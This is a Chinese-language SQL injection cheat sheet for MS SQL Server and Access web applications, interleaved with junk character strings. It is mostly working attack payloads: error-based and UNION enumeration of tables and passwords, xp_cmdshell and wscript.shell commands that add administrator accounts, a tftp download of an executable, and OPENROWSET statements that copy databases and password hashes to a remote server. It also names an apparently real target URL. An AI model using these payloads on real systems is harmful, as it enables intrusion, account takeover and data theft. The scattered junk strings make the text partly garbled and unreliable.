5 H' e; L% i* L% Y x! `1 Y最重要的一些用户名(默认sql数据库中存在着的) ) L6 J! \/ ]: g6 H epublic, z' S8 k1 z& }' i4 r/ B
dbo ( J0 ]7 a5 Z9 U0 Zguest(一般禁止,或者没权限)9 v7 C1 E. Q1 `* z: H
db_sercurityadmin , P, l% q7 `1 s9 Zab_dlladmin + h u0 A7 w2 q+ p ' h+ C% E; o8 m' q' O' u0 N一些默认扩展& r! N! d# ]9 h( {
" L, ^% S- c5 }4 |; d
xp_regaddmultistring / A8 g7 i& c( x' K5 X7 Fxp_regdeletekey * A Z( h. g7 Z$ u# ^# o2 H1 |xp_regdeletevalue 2 W ~ V( {( A+ dxp_regenumkeys & ^: V) R4 ^) hxp_regenumvalues , _8 }4 }9 i. X3 F8 H6 Uxp_regread 4 w5 O2 G8 n: `6 h
xp_regremovemultistring 5 B) g$ n) Q% D# L2 B: m- o) E, M4 lxp_regwrite& ?/ ]4 o' F6 I( H
xp_availablemedia 驱动器相关5 }' R( p3 m/ p/ L* Z. R
xp_dirtree 目录" x8 y& @% s1 _! ]
xp_enumdsn ODBC连接2 R+ U8 F& j7 g7 e" O9 P( s
xp_loginconfig 服务器安全模式信息" {* x" A3 b; M$ |; M
xp_makecab 创建压缩卷( R% _, v( @6 ]% x& Q/ y4 Y; @
xp_ntsec_enumdomains domain信息3 `7 w8 S' d, e" P
xp_terminate_process 终端进程,给出一个PID 7 c% ~8 q2 d; F" H; r# H6 f) z. D9 {. p
例如:3 f; p" u1 y8 G! i4 ?- M$ T$ F" m
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'& G5 q5 {( q( T" W0 s0 L
exec xp_webserver , g2 N0 D9 y% M* Qsp_dropextendedproc 'xp_webserver'4 |5 _2 D" ], w. R) A
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar& W9 z% @. P; U: N& _" x
' group by users.id having 1=1- . u. a* R5 b" w, E% M9 X, T1 u# ]' group by users.id, users.username, users.password, users.privs having 1=1- 2 N8 J( l( h9 a+ O: t& I& S& ]; y2 L'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-8 u" B \& t& N# O
2 E$ D% \+ j" r; q, J8 ~union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-% w4 Z' y- s) q& j: U8 r# R+ W
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')- 3 [- X' t6 d; |union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-9 @3 A6 _4 j8 i2 x
union select TOP 1 login_name FROM logintable- # ]9 T( \1 \( C/ k( q vunion select TOP 1 password FROM logintable where login_name='Rahul'--+ \, k( z/ X, x; g+ b) f
构造语句:查询是否存在xp_cmdshell( {" O+ q, _# i6 G: j H
' union select @@version,1,1,1--1 O s2 f6 q& g" J
and 1=(select @@VERSION) 1 U( a; V3 a' U( O8 n l. Fand 'sa'=(select System_user)( `6 Z# L5 @+ X# t+ u `! u
' union select ret,1,1,1 from foo--% H# @3 [2 R( n2 }* A1 N% t% B
' union select min(username),1,1,1 from users where username > 'a'- 8 H9 O+ F- V# k I& O) z' union select min(username),1,1,1 from users where username > 'admin'- 1 h, U6 e* Y" o) n3 P5 h' union select password,1,1,1 from users where username = 'admin'-- : Z% k4 a: t3 J, Q$ `: x% p
and user_name()='dbo'/ B6 w$ }& u4 I6 \
and 0<>(select user_name()- 4 M# y \- g# S& Q! S5 ^+ u. Z: N" ^5 K; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add' 8 C1 f) d+ U A$ g/ s' B Mand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') 1 r8 F( y9 d1 J+ X) Y% l- A;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' ; }3 d+ u4 ?) Z, C5 s$ I: d ! v- U; k' G6 r" M4 q: T2 e( h1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell') H& v. t1 K8 G, b o2 K6 Z! d
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否 1 J' S% T$ w; eand 0<>(select top 1 paths from newtable)-- 暴库大法 # V7 `& G* @, k' p# x! O3 mand 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断) ; J H% W3 G# r9 b1 A创建一个虚拟目录E盘: - ^2 @* L' q# y5 I3 U5 l3 Xdeclare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"' 7 w- O; h: ^" `* O8 a访问属性:(配合写入一个webshell)9 I( ?. R. t9 N: o+ \ k6 _" H
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'( O; ^, _ }) ^& q4 u* g4 v: _
/ X# d' e! q: h7 I0 j# ` S$ ^and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 2 I4 v( O9 j" D依次提交 dbid = 7,8,9.... 得到更多的数据库名 : B6 G5 A0 O* d Z; E1 t1 dand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin3 }5 L N- T" i% X u( v8 B8 {
1 Y3 i; m# V1 d; fand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。7 N' a) [# t+ Z [9 e
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' , P9 z+ { S5 ~
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 3 M6 v! }' u& c& E9 F9 band 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id - \+ B$ U" o( n, a2 h1 |) Cand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 5 {! s/ X: A0 C('id',...)) 来暴出其他的字段) C9 u+ v) J/ D6 u- o! q
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 ! ^& b4 c, `. }4 _, [/ k' F
依次可以得到密码。。。。。假设存在user_id username ,password 等字段( b" j6 @9 n) B5 {1 b2 a% d
0 B4 e# J* |4 U( t0 G( p3 i+ [
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin* D- ]. o9 _2 {$ a- o r
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin & E+ i. i- A6 Q* j9 y; F& ~$ A w(union语句到处风靡啊,access也好用 3 I1 J: h$ j+ x# a8 v/ j8 i: T4 a! x) u5 Z. E
暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交7 T$ W; J5 [9 ?0 H+ Q, O9 `
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 1 x' c% z1 N5 K/ O9 X! land 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 6 m4 w7 r' M$ U- k$ {& W
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 0 }7 ^3 [( k$ Kand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值 ! \9 s6 m5 [1 c% z5 Oand 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段* g L* G0 a2 [, Q' @6 ?7 z
+ V4 C( [' J5 [ F' b( O% z http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- + m0 s2 e& ^1 @2 Y
( l7 y& B7 w5 w, t/ ` http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 0 z" d2 ?0 p+ s2 r# ^. }% y' p$ i
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)8 g+ h) V' A/ D5 X% [- y8 T
4 o5 D3 Y" x- x0 }4 u http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";-- , S6 A1 J' V* [/ f 0 a' u7 d6 Y! U0 N9 y/ [得到了web路径d:\xxxx,接下来: 1 L4 f2 _2 F7 M5 _ http://xx.xx.xx.xx/111.asp?id=3400;use ku1;-- ! Q! O. W+ _, F: L- E- M3 r5 q http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);-- : [& }' P* r$ \- d& i# R) F2 ~. i' l/ m8 b
传统的存在xp_cmdshell的测试过程:8 m, o7 T1 \$ _8 O& l: T. u8 v
;exec master..xp_cmdshell 'dir' / |) s O' t& j d% t1 l b1 f;exec master.dbo.sp_addlogin hax;-- $ n/ @8 \. h: s6 l0 a
;exec master.dbo.sp_password null,hax,hax;-- $ A% x1 N5 F% x/ m5 K- \, @;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- / N8 {: y0 U: R$ H9 k# D( R+ p
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- : Z# e: `4 C' s8 ?! v3 {
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- 5 k, _+ q: p0 a) Z
exec master..xp_servicecontrol 'start', 'schedule' 6 u: Z% e1 u8 j
exec master..xp_servicecontrol 'start', 'server' 1 j2 y9 g- F: m; I/ _9 v3 A! C! Ohttp://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add' 6 W( X S) B+ O3 o/ f8 {2 j% Y
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add' 4 w | K1 a& K+ e& Z6 L/ V 5 p9 f6 G$ n0 j) g" zhttp://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- : f) B; T' @- f4 _% m% ~
/ h# r3 {6 m3 @0 tdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 7 k3 W; Y# k$ t: m+ J0 r9 t
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\' 4 l5 x) F# |2 i;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' 5 A/ V9 h& x9 u
如果被限制则可以。 e. M' W8 k! \4 U9 t/ n" X8 e. Tselect * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax') 5 b1 S5 ^5 A) @传统查询构造:$ A6 _: H* v% x8 O* F9 G! x5 f
select * FROM news where id=... AND topic=... AND .....; z3 t9 m/ r5 a5 m7 ^! P
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' 5 p3 b8 S7 ]5 ?. ~( ~select 123;-- 1 D; L" B5 j' H% E: v; g3 Y2 i5 B; x;use master;-- : g4 z. O- _6 a1 i+ O1 o; ~:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。" `3 x% B5 U" w
'and 1<>(select count(email) from [user]);-- 2 a% O' k% t/ `;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- & k- g l p+ D( w5 y说明: ; w: Y/ l2 C+ x上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。7 x4 {% ^7 q) w% n. r
通过查看ffff的用户资料可得第一个用表叫ad5 U1 _) Y3 c0 X( d- e
然后根据表名ad得到这个表的ID 2 B: C& ]/ r1 _ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--+ B9 }, f0 q! ?- i _' R- A5 P& v
+ M5 X+ B0 D# q' Y象下面这样就可以得到第二个表的名字了% p* v& U& w. X8 {
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';-- & ~! B2 _, w$ A$ }5 q6 `ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--, V W1 s$ v" ^- @& J( |6 I6 S O
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- ! A2 Y! U7 m/ i; r! S: t : A& e4 Z+ T. ^" _6 P% T# k6 xffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- # D* b# e) D/ \% r7 _2 W' ~* L4 b$ F4 [1 B
exec master..xp_servicecontrol 'start', 'schedule' # b8 I7 H( C3 pexec master..xp_servicecontrol 'start', 'server' # L+ a$ |, ~8 s* ^& Ysp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' 9 M# o4 P# ~9 e! R$ Y! t* L" x5 @$ s* }3 O扩展存储就可以通过一般的方法调用: ' ]1 x% n" a1 F5 P
exec xp_webserver 4 y# G" e+ f, g一旦这个扩展存储执行过,可以这样删除它: ; i; w& m1 H; r4 f8 I0 L8 ]
sp_dropextendedproc 'xp_webserver' ; @! h) T' k. t6 |# F% h- v5 ~ 9 U. n: B/ J! @( X: I8 i8 cinsert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-7 X1 u/ g" r. D
% X. R# d! s, ?% e0 \0 vinsert into users values( 667,123,123,0xffff)- + r* g3 M( p* {) t5 f, p& P6 e6 j. L$ e1 s0 o
insert into users values ( 123, 'admin''--', 'password', 0xffff)- + K: C o3 _/ T2 ^! E' o * n! Q4 Q. f$ z% k+ `. S! G;and user>0 P/ ~: o0 P V" U- b C
;;and (select count(*) from sysobjects)>0 ' g: k" U b" f$ L& o;;and (select count(*) from mysysobjects)>0 //为access数据库 ' C5 N' d# R v0 {) J+ S3 {. k0 E4 x9 B6 o) [2 k
-----------------------------------------------------------通常注射的一些介绍:1 c, j9 X& k+ Q
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: # @7 U2 ^* u3 G! W; T0 m. ?select * from 表名 where 字段=49 , Z0 E# n& o1 G4 g0 G3 i& O注入的参数为ID=49 And [查询条件],即是生成语句:" l+ n, v. [: }$ h
select * from 表名 where 字段=49 And [查询条件] 9 s$ g! M3 q* K: C6 @# K5 k; E7 X6 J0 x1 G3 T! Z4 m
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:' ?$ N( B! V5 S# ^. |/ q
select * from 表名 where 字段='连续剧' . Z, h& G# o% X注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句: / E* ?) E9 o1 h! B% ?select * from 表名 where 字段='连续剧' and [查询条件] and ''=''% y) w# {" I, S( l+ q' I
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: ( ^6 \' e1 J* e" ]select * from 表名 where 字段like '%关键字%' $ n+ a/ s% v& M. ~- \ P3 I/ K注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:$ W$ D8 R+ a, i& e
select * from 表名 where字段like '%' and [查询条件] and '%'='%' 8 c) Z1 D- J f& _" g o" {2 i;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0( d d* x8 g- G+ B
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。 9 W6 J8 V6 y2 o: P8 C;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 ' H3 ?$ E! g" ~6 R* r+ C从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。1 @: ^: k+ R( B3 v# [% H6 r% d
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post.htm内容:主要是方便输入。. D, y% `1 G. c3 i7 u+ _# z
<iframe name=p src=# width=800 height=350 frameborder=0></iframe> ; m" z* b7 y! e q* Q! a1 ]<br>1 c# w# Y1 c2 n
<form action=http://test.com/count.asp target=p> 5 O% t5 t; I5 t O2 T9 ?<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">7 B; d9 C. L w+ [) [- |
<input type=submit value=">>>"> 9 Z. O0 Y3 U6 a# F1 a<input type=hidden name=fno value="2, 3"> 3 X- W0 x4 K6 t2 y4 g& L' B _</form>% m* K! b* d8 @/ U( |
枚举出他的数据表名: & B) |3 O& x% Zid=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);-- 4 w6 }. `! Q" N: S+ N4 P$ _. ~这是将第一个表名更新到aaa的字段处。 ! r1 n" U! @! P4 ?读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。/ m7 P0 B# Y6 V3 |$ F a, {8 Y8 J
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 2 [' W1 u/ I2 L7 T( _然后id=1552 and exists(select * from aaa where aaa>5) 9 q( q. B) f) N; }$ p. j' s6 f$ A读出第二个表,^^^^^^一个个的读出,直到没有为止。, z4 b$ Z: p3 @: S
读字段是这样:+ e, L9 L5 V: `& H, G7 I% J' a' |
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- $ O, P8 _* w$ T然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 # {- i: E1 d8 p6 H- d3 |$ hid=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--, C; S, K" e2 s3 t% A7 i* `
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 6 c1 r3 R# @$ I3 n3 H--------------------------------高级技巧: 0 T# V5 g. g6 m9 n# O \[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]: t3 Z* W7 G: d3 [1 t
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]( ^: R' n' r5 x6 e+ a5 s- K5 G
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)+ b9 ]$ e' {/ G7 K! U7 A- c+ w
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]; \. k6 g' z' ~6 m8 M
& O8 O" I8 v/ h/ O要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。 2 M3 d9 |% c7 }+ }; d" I/ F' [% k0 O0 U I7 W9 @
基本语法:0 Z( l# q9 [: c
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 ' a; |' m& B; ^6 ~
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:' s3 u: P- ?& h) H# X
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2 ( `; Y6 z* x/ H& f$ }/ F! c1 m 5 s+ B8 b' R. ]3 j' A" b3 p; V8 q. uinsert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') ! N+ R* ^; W, wselect * from master.dbo.sysdatabases , O$ a. j& Y+ K9 p6 j2 y( k7 i2 F, t0 L5 ]5 y' j1 m2 Q+ J0 a+ z
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') % t3 D6 P) A Tselect * from user_database.dbo.sysobjects 5 e5 h7 a* ?# [! W* b8 ^" k
1 o* E, o! W0 S2 i$ D" {8 r- K- kinsert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') 1 k: Z* e1 A$ G0 A, r- i
select * from user_database.dbo.syscolumns( @! ~. j5 ^" r- N! [, [ H
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之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:+ {+ ]. b* K, S
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 % `' Q9 ~3 W R! g; [3 m
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insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2 % l8 q. z6 e k , P+ x7 I T- B! g...... 4 w& s7 G. N% ?0 B 6 G% o; J. C) p+ B @3、 复制哈西表(HASH)+ I4 Q t! q: Q5 x5 W
5 e8 S( ]4 y+ x2 G% G/ K3 L s: ?这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下: " l/ B+ V0 `/ e3 _% i5 ninsert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins/ k8 i( ?% \, C7 T
得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。5 C6 }) @9 f* N' R$ {
& d) r9 Z" e$ O7 n遍历目录的方法: " j# J" E% u6 ^$ K& c先创建一个临时表:temp # M: F# q. Q3 [5';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ! @! f0 N% B9 ]; V, u( |; V5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - ]0 U. q$ t# X5 B* h3 @5 _8 w5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 U. o0 o9 L: F3 M& w4 w
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中# l# c. v1 f+ w4 b! y0 b# `6 t, q
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5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容; E; z% j' o0 [# q- i
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--2 G4 }3 o6 a: w' S4 e0 x' J4 L
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';-- 1 A P% d; R5 j) @ [5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc' 1 [* k4 D% I: ~% ^& c: E! O1 a! g/ Y7 E( M
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree适用权限PUBLIC)$ s$ L$ S5 X7 T6 G
写入表:! ~1 M. t) d7 J4 f( S3 R& z
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- & O+ e; u K8 ~, ?9 x语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / @( s2 e2 z7 r
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- - c9 D' ]$ g3 U( p; s
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- . |- o( I6 I( z1 I( a8 a
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( k3 [& n q) h' M
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; {1 C. G. ~& D4 F$ L8 x8 s语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # R, b; \3 T- N0 m7 v- E5 C* u
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ' F e/ n! ^" k- z) \2 j
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));-- 8 N1 M6 ^; e9 K! N) Z9 Y* {
把路径写到表中去: . \" K$ A1 i _: H6 P3 }$ whttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)- # ^' {& ]& j: d+ v) O& \http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'- 7 J2 U) c4 @: w" s$ [, V; Phttp://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 8 a/ J j; e0 vhttp://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))- 7 o( n" I5 |% Z, l9 n语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)-- ! k% O9 k5 _$ F/ B4 C5 k5 Z语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'-- * ]% N$ F! l% E7 T8 b6 b语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)- , k8 U( b6 n9 `- s" ]把数据库备份到网页目录:下载/ E; B! V9 V4 _4 O
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';-- 1 _4 W" b o( z$ i0 [0 P1 H# J' F